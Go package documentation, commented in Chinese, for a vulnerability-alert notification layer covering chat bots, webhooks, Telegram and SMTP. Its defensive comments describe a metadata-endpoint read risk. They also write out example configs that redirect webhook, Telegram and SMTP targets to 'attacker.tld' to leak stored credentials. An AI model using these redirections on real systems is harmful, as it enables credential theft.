notify

package
v0.3.15 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Oct 7, 2026 License: AGPL-3.0 Imports: 24 Imported by: 0

Documentation

Overview

Package notify 实现漏洞发现的 IM / 邮件推送渠道适配层。

分层:本包是**叶子包**,只依赖标准库。它不认识数据库、不认识 server。渠道配置 以 map[string]any 传入(对应 notification_channels.config 这一 JSONB 列), 待推送内容以 Message 传入。这样拆开的好处是:签名计算、UTF-8 截断、过滤匹配这些 真正容易出错的地方可以脱离 PostgreSQL 单测,宿主只需在 server 侧做编排。

并发约定:Channel 的实现必须**无状态**。同一个 Channel 实例会被多个渠道配置 (甚至同一渠道的多个机器人实例)并发复用,所有凭据一律从 cfg 参数传入, 不允许把 webhook URL 之类的东西缓存进实现自身的字段。

Index

Constants

View Source
const (
	KindDingTalk = "dingtalk" // 钉钉自定义机器人
	KindFeishu   = "feishu"   // 飞书(含 Lark)自定义机器人
	KindWeCom    = "wecom"    // 企业微信群机器人
	KindWebhook  = "webhook"  // 通用 Webhook:自定义方法/头/JSON 模板
	KindTelegram = "telegram" // Telegram Bot API
	KindEmail    = "email"    // SMTP 邮件
)

渠道类型标识。取值同时是 notification_channels.kind 的合法集合,由 server 侧 白名单校验(与 findings.status 同理,不用 DB CHECK,方便后续加渠道)。

View Source
const (
	EventFindingCreated       = "finding_created"
	EventFindingStatusChanged = "finding_status_changed"
)

事件类型,对应 notification_events.kind。

View Source
const AllowLocalTargetsEnv = "ARTEX_NOTIFY_ALLOW_LOCAL"

allowLocalTargets 决定是否允许把消息投递到环回 / 链路本地地址。

默认拒绝。这几段地址不是 IM 机器人或公网邮件服务器会出现的地方,而它们能 打到的东西很敏感:同机另一个服务的管理端口、以及云环境的元数据端点 (169.254.169.254,可读出实例凭据)。投递地址是管理员配的,但一个被 XSS/CSRF 借用的管理会话、或共用同一 JWT 的第二个人,都能靠改配置把响应内容读回来 ——doJSON 会把 4xx/5xx 的响应体前 200 字节写进 last_error,而投递历史接口 会把它回显出来,这就是一条半盲读原语。

但「本机 SMTP 中继」(127.0.0.1:25 上的 postfix)是自建邮件的常见配置, 一刀切会把人卡住。所以留一个显式逃生口而不是硬编码放行: 设置 ARTEX_NOTIFY_ALLOW_LOCAL=1 即允许。

导出为 AllowLocalTargetsEnv 是为了让测试能明确地打开它——本包与 server 包的 用例大量使用 127.0.0.1 上的 httptest 假接收端,不打开就全部被守卫拦下。

View Source
const InitKind = KindDingTalk

InitKind 是 config 里为空的 kind 的兜底值。

View Source
const MaskedPrefix = "__masked__"

MaskedPrefix 是掩码值的标记前缀。API 回显凭据时用带此前缀的值替换真实内容, 更新接口收到带此前缀的值即理解为「保持库中原值不变」。

用前缀而不是空串或某个固定常量,是为了能顺带带上一点可辨识信息 (见 MaskedValue),让用户区分得出「这是哪个机器人」而不必重新粘贴密钥。

Variables

This section is empty.

Functions

func AtLeast

func AtLeast(severity, min string) bool

AtLeast 判断 severity 是否达到 min 门槛。min 为空表示不设门槛,一律通过。 注意未知 severity 的序数为 0,会被任何非空 min 拒掉(见 severityRank 注释)。

func IsMasked

func IsMasked(v string) bool

IsMasked 报告某个值是否为掩码值(即接口回显后未被修改)。

func IsPermanent

func IsPermanent(err error) bool

IsPermanent 报告 err 链上是否带有永久失败标记。

func Kinds

func Kinds() []string

Kinds 返回全部受支持的渠道类型,按字典序排列(供 UI 下拉稳定展示)。

func MaskConfig

func MaskConfig(kind string, cfg map[string]any) map[string]any

MaskConfig 返回配置的副本,把该渠道的凭据字段替换成掩码值。

未知渠道类型返回空 map 而不是原配置——宁可让 UI 显示「配置不可用」, 也不要在渠道类型无法识别时把可能含凭据的原始内容整个吐回去。 非凭据字段原样保留,UI 才能正常展示。

func MaskedValue

func MaskedValue(secret string) string

MaskedValue 生成一个掩码值:

"__masked__"              原值太短,不给任何提示
"__masked__:…ab12cd"      带上原值末 6 位作为辨识提示

只暴露末 6 位是刻意选择的:Webhook 地址的辨识信息在末段(如企业微信的 key、 飞书的机器人 id),而前缀部分各机器人相同、没有辨识价值。末 6 位不足以 还原凭据,但足以让配置者认出「是我那个群」。

func Match

func Match(f Filter, s Snapshot) bool

Match 判定一个事件是否应投递到带有该过滤条件的渠道。

**永不返回 error**,理由同 ParseFilter:任何内部异常都按「命中」处理。 判定顺序:事件类型 → 级别门槛 → 任务/资产范围 → 漏洞类型关键词。

func MergeConfig

func MergeConfig(stored, incoming map[string]any) map[string]any

MergeConfig 把 incoming 合并到 stored 之上,用于更新渠道配置。

规则:

  • incoming 里值为掩码的键 → 保留 stored 的原值(用户没改这个字段)
  • incoming 里值为空串的键 → 视为显式清空,删除该键
  • 其余键 → 用 incoming 的值覆盖
  • stored 里有而 incoming 里没有的键 → 保留(局部更新语义)

空串是否算「清空」需要明确:前端表单把未填的字段提交为空串, 若把它当成有效值写入,会把「留空以保留原值」的字段真的清掉。 这里选择显式清空,因为要清除一个设错的字段时,用户没有别的表达方式 (拖走字段可区分「未提供」与「提供空值」,但 UI 用不到这个区别)。

func OneLine

func OneLine(s string, max int) string

OneLine 把多行文本压成单行:折叠所有空白,再按字符数截断。 用于 IM 消息的标题行——摘要里常有换行,直接塞进表格/标题会撑坏排版。 max<=0 表示不限制长度。

func Permanent

func Permanent(err error) error

Permanent 把 err 标记为永久失败。err 为 nil 时返回 nil, 方便写成 `return Permanent(someCheck())`。

func PrepareConfigUpdate

func PrepareConfigUpdate(kind string, stored, incoming map[string]any) (map[string]any, error)

PrepareConfigUpdate 合并渠道配置,并处理「目标地址变更」这一安全敏感情况。

它替代裸的 MergeConfig 用在渠道更新路径上,解决的是这样一条实测可行的路径: 目标地址(消息发往哪)与凭据(用什么身份发)是两套独立字段,而 MergeConfig 对「未提及的键」一律保留库中原值。于是任何能 PATCH 渠道的人只要**只改地址、 对凭据避而不谈**,就能让服务器把库里的真凭据发到自己控制的端点:

webhook  {config:{url:"https://attacker.tld"}}  → 原始 Authorization 头随请求外发
telegram {config:{base_url:"https://attacker.tld"}} → /bot<真Token>/sendMessage
email    {config:{host:"smtp.attacker.tld"}}    → STARTTLS 后交出用户名与密码

这条路径完全静默、不依赖重定向(所以拒绝跨主机跳转挡不住它), 而且直接击穿了本包掩码机制的目标——「凭据不回显给浏览器」。

规则:只要某个目的地键被改成新值,调用方就必须对**每一个**凭据键显式表态:

  • 给出新值 → 用新值
  • 显式传空串 → 该字段不再需要凭据(保留清空语义)
  • 原样回传掩码值 / 干脆不提这个键 → 拒绝

第三种之所以也拒绝,是因为「掩码值」的含义正是「沿用旧凭据」,而旧凭据 只对旧地址有效。这里刻意不做「自动丢弃凭据」——那对可选凭据字段 (webhook 的 headers、email 的 password)会静默变成「鉴权没了但接口返回 200」, 比报错更难排查。宁可让操作者多填一次。

func SeverityLabel

func SeverityLabel(severity string) string

SeverityLabel 返回带 emoji 的中文级别名,用于消息标题与卡片配色。 未知级别原样回显,不臆造。

func SeverityRank

func SeverityRank(severity string) int

SeverityRank 返回级别的序数;未知级别返回 0。

func StatusLabel

func StatusLabel(status string) string

StatusLabel 把处置状态翻译成中文,用于状态变更消息。

func TruncateBytes

func TruncateBytes(s string, max int) string

TruncateBytes 把 s 截断到不超过 max 字节,保证结果是合法 UTF-8 且不切断字符。

为什么必须按字符边界切:企微群机器人的 markdown 有 4096 **字节**硬上限(不是 字符数),而中文一个字 3 字节。直接按字节切片会把一个汉字切成两半,产出非法 UTF-8——平台侧要么整条拒收,要么显示成乱码方块。这里的做法是先从预算位置 往前回退到最近的 rune 起始字节(utf8.RuneStart 判定续字节 0b10xxxxxx)。

max<=0 表示不限制。截断后追加省略号,除非 max 小到装不下省略号。

func TruncateHTML

func TruncateHTML(s string, max int) string

TruncateHTML 按字符数截断 HTML 片段,并保证不产生半截标签。

直接对 HTML 做字符截断会切出 `<a href="htt` 这种残缺标签,平台解析器要么 报错拒收整条、要么把后续正文当成属性值吞掉。这里的做法是:先按字符截断, 再检查尾部是否有未闭合的 `<`,有就退到它之前。

不做标签配平(补全 </b> 之类):Telegram 的 HTML 解析器会自动闭合未闭合标签, 而自己实现配平要处理属性里的引号、注释、自闭合标签,复杂度与收益不成比例。

func TruncateRunes

func TruncateRunes(s string, max int) string

TruncateRunes 把 s 截断到不超过 max 个字符(而非字节),超出时追加省略号。 max<=0 表示不限制。

与 TruncateBytes 的区别在于平台口径:企微按字节限长,Telegram 按字符数限长。 用错口径不会报错,只会让消息被切得远比预期短(中文 1 字 = 3 字节, 按字节切 4096 只剩约 1365 字),所以两个函数都必须保留、按渠道选用。

func ValidKind

func ValidKind(kind string) bool

ValidKind 报告 kind 是否为受支持的渠道类型。

func ValidMinSeverity

func ValidMinSeverity(s string) bool

ValidMinSeverity 报告 s 是否为合法的级别门槛(空串表示不设门槛)。

Types

type Channel

type Channel interface {
	// Kind 返回渠道类型标识,须与注册表的键一致。
	Kind() string
	// Validate 在保存配置时调用,校验必填字段与格式。返回的错误会直接展示给
	// 配置者,所以文案要说明「缺哪个字段」而不是泛泛的「配置无效」。
	Validate(cfg map[string]any) error
	// Send 投递一次消息,返回**实际送达的条目数**与错误。
	//
	// 为什么要返回条数:各平台都有消息长度上限,汇总消息装不下整批时会被截断。
	// 若调用方无条件把整批标记为已送达,被截掉的那些条目就消失了——消息里看不到、
	// 投递历史里也显示成功,没有任何地方能发现漏洞从未发出。返回 kept 后,
	// 调用方只标记前 kept 条,其余留待下一批。
	//
	// 返回错误表示投递失败,其中 *PermanentError 表示不该重试。
	// 失败时 kept 无意义,调用方应忽略它。
	Send(ctx context.Context, cfg map[string]any, m Message) (int, error)
	// DefaultRatePerMin 返回该渠道官方建议的每分钟投递上限,作为新建渠道实例
	// 时的默认限流值。返回 0 表示无已知限制。
	DefaultRatePerMin() int
	// SecretKeys 返回该渠道配置里属于凭据的键名。API 回显时这些键的值会被掩码,
	// 更新时收到掩码值则保留库中的原值。只有实现自己清楚哪些字段算凭据
	// (企业微信的整个 Webhook 地址就是凭据,而钉钉的只是其中的 secret),
	// 所以这个知识必须由渠道提供,不能由上层猜测。
	SecretKeys() []string
	// DestinationKeys 返回该渠道配置里决定「消息发往哪里」的键名。
	//
	// 与 SecretKeys 一样是安全相关的东西:目标地址与凭据是两套独立字段,
	// 若允许「只改地址、凭据原样保留」,任何能改渠道配置的人都能把库里的真凭据
	// 发到自己控制的服务器,渠道配置的掩码就完全失去意义。
	// 详见 PrepareConfigUpdate。
	DestinationKeys() []string
}

Channel 是一个通知渠道的适配器。实现必须**无状态**:同一个实例会被多个渠道 配置并发复用,凭据一律从 cfg 参数传入。

func Get

func Get(kind string) (Channel, bool)

Get 按类型取渠道实现。

type ErrDestinationChangedWithoutCredentials

type ErrDestinationChangedWithoutCredentials struct {
	Changed []string // 发生变化的目的地键
	Missing []string // 未显式表态的凭据键
}

ErrDestinationChangedWithoutCredentials 表示「目标地址变了,但调用方没有对 凭据字段表态」。返回它而不是默默放行或默默丢弃凭据,理由见 PrepareConfigUpdate。

func (*ErrDestinationChangedWithoutCredentials) Error

type Filter

type Filter struct {
	// MinSeverity 是最低级别门槛(low/medium/high/critical),空=不设门槛。
	MinSeverity string `json:"min_severity"`
	// TaskIDs / AssetIDs 为空数组表示不限;非空则要求事件与它有交集。
	TaskIDs  []int64 `json:"task_ids"`
	AssetIDs []int64 `json:"asset_ids"`
	// VulnClassInclude 为空表示全收;非空则要求 vulnclass 命中其中任一关键词。
	// VulnClassExclude 命中任一关键词即排除(排除优先于包含)。
	// 匹配方式为大小写不敏感的子串——比正则安全:用户配错正则不会让渠道静默失效。
	VulnClassInclude []string `json:"vulnclass_include"`
	VulnClassExclude []string `json:"vulnclass_exclude"`
	// OnStatusChange 决定该渠道是否接收漏洞状态变更事件(仅 realtime 模式有意义)。
	OnStatusChange bool `json:"on_status_change"`
}

Filter 是 notification_channels.filter 这一 JSONB 列的契约:渠道实例的过滤条件。 所有字段都可选,缺省即「不过滤」——这正是畸形配置的兜底语义,见 ParseFilter。

func ParseFilter

func ParseFilter(raw []byte) Filter

ParseFilter 解析渠道过滤配置。

**永不返回 error。** 这是刻意的设计选择:过滤条件配置畸形时一律退化为零值 Filter(= 不过滤 = 全部命中),因为对一个漏洞通知系统来说,**多推一条远好过 静默漏掉一条高危**。让解析失败变成「不推送」,等于给用户一个看起来配好了、 实际什么都不推的渠道——这是最糟的失败模式。

func (Filter) Validate

func (f Filter) Validate() error

Validate 校验过滤配置里**取值受限**的字段,供保存渠道时调用。

为什么必须在写入时拦:Match 对未知门槛的判定是 `rank >= 0`,恒为真—— 也就是说 min_severity 打错一个字("hgih"),过滤器会**静默失效**变成 「全推」。这与本包「宁可多推不可漏推」的取舍方向一致(不会漏), 但后果是用户以为自己在做分级推送、实际把全部漏洞灌进群里, 而且没有任何迹象提示他配错了。这类「静默降级」正应该在入口处拦掉。

注意 Validate 只用于**写入**路径。读取路径仍走 ParseFilter 的宽容语义, 这样历史数据里已经存在的坏值不会让渠道整个读不出来。

type Item

type Item struct {
	FindingID int64
	Name      string
	VulnClass string
	Severity  string
	Summary   string
	// Assets 是解析后的资产展示名(如域名/IP)。由 server 层填充——
	// 本包不碰数据库,拿不到名字。
	Assets []string
	// DetailURL 是漏洞详情回链;为空表示未配 public_base_url,渲染时省略。
	DetailURL string
	// 状态变更事件专用;两项均非空时渲染成「待处理 → 已修复」。
	FromStatus string
	ToStatus   string
}

Item 是一条待推送的漏洞,供渠道渲染。

func (Item) IsStatusChange

func (i Item) IsStatusChange() bool

IsStatusChange 报告该条目是否为状态变更事件。

func (Item) Title

func (i Item) Title() string

Title 返回条目的展示标题:优先人工命名的 name,回退漏洞类型 vulnclass, 两者都空时用一个占位符——绝不输出空标题。

type Message

type Message struct {
	// 单条推送时长度为 1;汇总推送(digest)时为一整批。
	// 空切片是非法的,调用方须保证至少一条。
	Items []Item
	// Batch=true 时按汇总消息渲染(换标题、带上时间窗与条数)。
	Batch bool
	// WindowMinutes 是汇总周期(分钟),仅 Batch=true 时用于文案「近 N 分钟」。
	// 刻意由配置显式传入而不是渲染时算 time.Since:渲染保持确定性,才好测。
	WindowMinutes int
	// HomeURL 是平台面板地址(全局 public_base_url);空则不带面板入口。
	HomeURL string
}

Message 是一次渠道发送的完整内容。

type PermanentError

type PermanentError struct{ Err error }

PermanentError 标记一个不该重试的投递失败:凭据错误、目标拒绝、请求体非法等。 重试只对瞬时故障(网络抖动、限流、对端 5xx)有意义;对永久失败反复退避重试 既不会成功,又会把真正的错误刷没在重试日志里。

func (*PermanentError) Error

func (e *PermanentError) Error() string

func (*PermanentError) Unwrap

func (e *PermanentError) Unwrap() error

type Snapshot

type Snapshot struct {
	// 事件类型:finding_created / finding_status_changed
	Kind      string  `json:"kind"`
	FindingID int64   `json:"finding_id"`
	TaskID    int64   `json:"task_id"`
	VulnClass string  `json:"vulnclass"`
	Name      string  `json:"name"`
	Severity  string  `json:"severity"`
	Summary   string  `json:"summary"`
	AssetIDs  []int64 `json:"asset_ids"`
	// 仅 kind=finding_status_changed 时非空。
	FromStatus string `json:"from_status,omitempty"`
	ToStatus   string `json:"to_status,omitempty"`
}

Snapshot 是 notification_events.snapshot 这一 JSONB 列的契约。写方是 db 层的 漏洞落库事务,读方是 server 层的投递引擎与过滤匹配。定义放在本包是因为它是 「通知领域」的载荷:db 只负责序列化,不理解字段含义。

为什么冗余存漏洞字段而不在渲染时回查:漏洞事后会被改名、改级别、改状态, 而推送内容应当反映**事发当时**的结论——回查会得到「事后被改成 low」的 危险误导。另外 fan-out 与渲染因此不必 JOIN findings/tasks/assets 三张表。

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL